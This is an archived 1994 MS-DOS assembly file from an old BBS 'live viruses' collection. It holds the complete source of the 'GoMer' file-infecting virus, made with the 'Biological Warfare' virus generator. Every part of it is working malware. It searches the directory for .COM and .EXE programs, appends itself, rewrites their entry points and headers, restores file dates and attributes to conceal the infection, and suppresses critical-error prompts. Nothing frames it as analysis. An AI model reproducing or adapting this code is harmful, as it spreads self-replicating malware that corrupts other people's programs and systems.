home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / gomer.asm < prev    next >
Assembly Source File  |  1994-04-11  |  11KB  |  330 lines
  1. ; Gomer.asm : GoMer (c) by HypoDermic!! Part of the Mayberry Family!!!
  2. ; Created with Biological Warfare - Version 0.90ß by MnemoniX
  3.  
  4. PING            equ     09472h
  5. INFECT          equ     1
  6. MARKER          equ     06864h
  7.  
  8. code            segment
  9.                 org     100h
  10.                 assume  cs:code,ds:code
  11.  
  12. start:
  13.                 db      0E9h,3,0          ; to virus
  14. host:
  15.                 db      0CDh,20h,0        ; host program
  16. virus_begin:
  17.                 call    $ + 3             ; BP is instruction ptr.
  18.                 pop     bp
  19.                 sub     bp,offset $ - 1
  20.  
  21.                 push    ds es
  22.  
  23.                 push    cs
  24.                 pop     ds
  25.                 lea     dx,[bp + offset new_DTA]
  26.                 mov     ah,1Ah
  27.                 int     21h
  28.  
  29.                 mov     byte ptr [bp + infections],0
  30.  
  31.                 push    [bp + exe_cs]
  32.                 push    [bp + exe_ip]
  33.                 push    [bp + exe_ss]
  34.                 push    [bp + exe_sp]
  35.                 call    infect_dir
  36.  
  37.                 pop     [bp + exe_sp]
  38.                 pop     [bp + exe_ss]
  39.                 pop     [bp + exe_ip]
  40.                 pop     [bp + exe_cs]
  41.                 pop     es ds
  42.                 mov     dx,80h
  43.                 mov     ah,1Ah
  44.                 int     21h
  45.  
  46.                 cmp     sp,MARKER               ; check for .EXE
  47.                 je      exe_exit
  48.  
  49. com_exit:
  50.                 lea     si,[bp + host]          ; restore host program
  51.                 mov     di,100h
  52.                 push    di
  53.                 movsw
  54.                 movsb
  55.  
  56.                 call    fix_regs                ; fix up registers
  57.                 ret                             ; and leave
  58. exe_exit:
  59.                 mov     ax,ds                   ; fix up return address
  60.                 add     ax,10h
  61.                 push    ax
  62.                 add     ax,cs:[bp + exe_cs]
  63.                 mov     cs:[bp + return_cs],ax
  64.  
  65.                 mov     ax,cs:[bp + exe_ip]
  66.                 mov     cs:[bp + return_ip],ax
  67.  
  68.                 pop     ax
  69.                 add     ax,cs:[bp + exe_ss]        ; restore stack
  70.                 cli
  71.                 mov     ss,ax
  72.                 mov     sp,cs:[bp + exe_sp]
  73.  
  74.                 call    fix_regs                ; fix up registers
  75.                 sti
  76.  
  77.                 db      0EAh                    ; back to host program
  78. return_ip       dw      0
  79. return_cs       dw      0
  80.  
  81. exe_cs          dw      -16                     ; orig CS:IP
  82. exe_ip          dw      103h
  83. exe_sp          dw      -2                      ; orig SS:SP
  84. exe_ss          dw      -16
  85.  
  86. fix_regs:
  87.                 xor     ax,ax
  88.                 cwd
  89.                 xor     bx,bx
  90.                 mov     si,100h
  91.                 xor     di,di
  92.                 xor     bp,bp
  93.                 ret
  94.  
  95.  
  96. infect_dir:
  97.                 mov     ah,4Eh
  98.                 lea     dx,[bp + find_me]
  99.                 int     21h
  100.                 jc      infect_done
  101.  
  102. next_file:
  103.                 lea     dx,[bp + new_DTA + 1Eh]
  104.                 call    file_open
  105.                 cmp     byte ptr [bp + infections],INFECT
  106.                 je      infect_done
  107.                 mov     ah,4Fh
  108.                 int     21h
  109.                 jnc     next_file
  110.  
  111. infect_done:
  112.                 ret
  113.  
  114. file_open:
  115.                 push    ax cx di es
  116.                 call    get_extension
  117.                 cmp     [di],'OC'               ; .COM file?
  118.                 jne     perhaps_exe             ; perhaps .EXE then
  119.                 cmp     byte ptr [di + 2],'M'
  120.                 jne     not_prog
  121.                 jmp     a_program
  122. perhaps_exe:
  123.                 cmp     [di],'XE'               ; .EXE file?
  124.                 jne     not_prog
  125.                 cmp     byte ptr [di + 2],'E'
  126.                 jne     not_prog
  127. a_program:
  128.                 pop     es di cx ax
  129.                 jmp     execute                 ; infect file
  130. not_prog:
  131.                 pop     es di cx ax
  132.                 ret
  133.  
  134. execute:
  135.                 push    si
  136.  
  137.                 call    get_extension           ; check filename
  138.                 cmp     es:[di - 3],'DN'        ; skip if COMMAND
  139.                 jne     open_it
  140.                 jmp     cant_open
  141.  
  142. open_it:
  143.                 xor     ax,ax                   ; critical error handler
  144.                 mov     es,ax                   ; routine - catch int 24
  145.                 lea     ax,[bp + int_24]
  146.                 mov     es:[24h * 4],ax
  147.                 mov     es:[24h * 4 + 2],cs
  148.  
  149.                 mov     ax,4300h                ; change attributes
  150.                 int     21h
  151.  
  152.                 push    cx dx ds
  153.                 xor     cx,cx
  154.                 call    set_attributes
  155.  
  156.                 mov     ax,3D02h                ; open file
  157.                 int     21h
  158.                 jc      cant_open
  159.                 xchg    bx,ax
  160.  
  161.                 mov     ax,5700h                ; save file date/time
  162.                 int     21h
  163.                 push    cx dx
  164.                 mov     ah,3Fh
  165.                 mov     cx,28
  166.                 lea     dx,[bp + read_buffer]
  167.                 int     21h
  168.  
  169.                 cmp     word ptr [bp + read_buffer],'ZM'
  170.                 je      infect_exe              ; yes, infect as .EXE
  171.  
  172.                 mov     al,2                    ; move to end of file
  173.                 call    move_file_ptr
  174.  
  175.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  176.                 ja      dont_infect             ; too big, don't infect
  177.  
  178.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  179.                 cmp     dx,word ptr [bp + read_buffer + 1]
  180.                 je      dont_infect
  181.  
  182.                 add     dx,VIRUS_SIZE + 3
  183.                 mov     word ptr [bp + new_jump + 1],dx
  184.  
  185.                 lea     dx,[bp + read_buffer]   ; save original program head
  186.                 int     21h
  187.                 mov     ah,40h                  ; write virus to file
  188.                 mov     cx,VIRUS_SIZE
  189.                 lea     dx,[bp + virus_begin]
  190.                 int     21h
  191.  
  192.                 xor     al,al                   ; back to beginning of file
  193.                 call    move_file_ptr
  194.  
  195.                 lea     dx,[bp + new_jump]
  196.                 int     21h
  197.  
  198. fix_date_time:
  199.                 pop     dx cx
  200.                 mov     ax,5701h                ; restore file date/time
  201.                 int     21h
  202.  
  203.                 inc     byte ptr [bp + infections]
  204.  
  205. close:
  206.                 pop     ds dx cx                ; restore attributes
  207.                 call    set_attributes
  208.  
  209.                 mov     ah,3Eh                  ; close file
  210.                 int     21h
  211.  
  212. cant_open:
  213.                 pop     si
  214.                 ret
  215.  
  216.  
  217. set_attributes:
  218.                 mov     ax,4301h
  219.                 int     21h
  220.                 ret
  221.  
  222. dont_infect:
  223.                 pop     cx dx                   ; can't infect, skip
  224.                 jmp     close
  225.  
  226. move_file_ptr:
  227.                 mov     ah,42h                  ; move file pointer
  228.                 cwd
  229.                 xor     cx,cx
  230.                 int     21h
  231.  
  232.                 mov     dx,ax                   ; set up registers
  233.                 mov     ah,40h
  234.                 mov     cx,3
  235.                 ret
  236. infect_exe:
  237.                 cmp     word ptr [bp + read_buffer + 26],0
  238.                 jne     dont_infect             ; overlay, don't infect
  239.  
  240.                 cmp     word ptr [bp + read_buffer + 16],MARKER
  241.                 je      dont_infect             ; infected already
  242.  
  243.                 les    ax,dword ptr [bp + read_buffer + 20]
  244.                 mov    [bp + exe_cs],es
  245.                 mov    [bp + exe_ip],ax
  246.                 les    ax,dword ptr [bp + read_buffer + 14]
  247.                 mov    [bp + exe_ss],ax
  248.                 mov    [bp + exe_sp],es
  249.                 mov    word ptr [bp + read_buffer + 16],MARKER
  250.                 mov     ax,4202h                ; to end of file
  251.                 cwd
  252.                 xor     cx,cx
  253.                 int     21h
  254.  
  255.                 push    ax dx                   ; save file size
  256.  
  257.                 push    bx
  258.                 mov     cl,12                   ; calculate offsets for CS
  259.                 shl     dx,cl                   ; and IP
  260.                 mov     bx,ax
  261.                 mov     cl,4
  262.                 shr     bx,cl
  263.                 add     dx,bx
  264.                 and     ax,15
  265.                 pop     bx
  266.  
  267.                 sub    dx,word ptr [bp + read_buffer + 8]
  268.                 mov    word ptr [bp + read_buffer + 22],dx
  269.                 mov    word ptr [bp + read_buffer + 20],ax
  270.                 add    dx,100h
  271.                 mov    word ptr [bp + read_buffer + 14],dx
  272.  
  273.                 pop     dx ax                   ; calculate prog size
  274.  
  275.                 add     ax,VIRUS_SIZE + 3
  276.                 adc     dx,0
  277.                 mov     cx,512                  ; in pages
  278.                 div     cx                      ; then save results
  279.                 inc     ax
  280.                 mov     word ptr [bp + read_buffer + 2],dx
  281.                 mov     word ptr [bp + read_buffer + 4],ax
  282.  
  283.                 mov     ah,40h
  284.                 mov     cx,VIRUS_SIZE + 3
  285.                 lea     dx,[bp + virus_begin]
  286.                 int     21h
  287.  
  288.  
  289.                 mov     ax,4200h                ; back to beginning
  290.                 cwd
  291.                 xor     cx,cx
  292.                 int     21h
  293.  
  294.                 mov     ah,40h                  ; and fix up header
  295.                 mov     cx,28
  296.                 lea     dx,[bp + read_buffer]
  297.                 int     21h
  298.                 jmp     fix_date_time           ; done
  299.  
  300. courtesy_of     db      '[BW]',0
  301. signature       db      'GoMer (c) by HypoDermic!! Part of the Mayberry Family!!!',0
  302.  
  303. get_extension:
  304.                 push    ds                      ; find extension
  305.                 pop     es
  306.                 mov     di,dx
  307.                 mov     cx,64
  308.                 mov     al,'.'
  309.                 repnz   scasb
  310.                 ret
  311.  
  312. find_me         db      '*.*',0
  313. int_24:
  314.                 mov     al,3                    ; int 24 handler
  315.                 iret
  316. new_jump        db      0E9h,0,0
  317.  
  318. infections      db      0
  319. virus_end:
  320. VIRUS_SIZE      equ     virus_end - virus_begin
  321. read_buffer     db      28 dup (?)              ; read buffer
  322. new_DTA         db      128 dup(?)
  323.  
  324. end_heap:
  325.  
  326. MEM_SIZE        equ     end_heap - start
  327.  
  328. code            ends
  329.                 end     start
  330.